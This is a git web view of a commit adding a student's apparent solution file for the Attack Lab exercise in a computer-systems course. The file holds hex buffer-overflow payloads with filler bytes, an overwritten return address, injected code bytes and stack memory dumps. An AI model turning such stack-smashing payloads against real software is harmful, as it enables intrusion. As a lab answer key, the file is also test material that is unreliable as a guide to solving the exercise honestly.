summaryrefslogtreecommitdiff
path: root/labs/attacklab/solution/stack.c
diff options
context:
space:
mode:
authorMike Vink <mike@pionative.com>2024-07-09 09:06:58 +0200
committerMike Vink <mike@pionative.com>2024-07-09 09:06:58 +0200
commit7ae6aa6a64f3f697edb90bb573862bf31dd14e69 (patch)
treee80f43394fd5814e30f98a7faa189f8f49424681 /labs/attacklab/solution/stack.c
parent8092f4c334db547ced59d6f439b558dad35e1ab2 (diff)
chapter 3: reading excercises + attacklab
Diffstat (limited to 'labs/attacklab/solution/stack.c')
-rw-r--r--labs/attacklab/solution/stack.c27
1 files changed, 27 insertions, 0 deletions
diff --git a/labs/attacklab/solution/stack.c b/labs/attacklab/solution/stack.c
new file mode 100644
index 0000000..1c9002f
--- /dev/null
+++ b/labs/attacklab/solution/stack.c
@@ -0,0 +1,27 @@
+// 00 00 00 00 00 00 00 00 // free space: int val
+// 00 00 00 00 00 40 17 c0 // return address: call getbuf
+// ef be ad de ef be ad de // rsp - 8
+// ef be ad de ef be ad de // rsp - 16
+// ef be ad de ef be ad de // rsp - 24
+// ef be ad de ef be ad de // rsp - 32
+// ef be ad de ef be ad de // rsp - 40
+
+ef be ad de ef be ad de
+ef be ad de ef be ad de
+ef be ad de ef be ad de
+ef be ad de ef be ad de
+ef be ad de ef be ad de
+40 17 c0 00 00 00 00 00
+
+
+0x5561dc78: 0x17ec6859b997fabf 0xdeadbeefdec30040
+0x5561dc88: 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef
+0x5561dc98: 0xdeadbeefdeadbeef 0x0000000000000000
+
+59 b9 97 fa
+
+006166373939623935
+
+0x5561dc78: 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef
+0x5561dc88: 0xdeadbeefdeadbeef 0x35adbeefdeadbeef
+0x5561dc98: 0x0061663739396239 0x000000005561dc78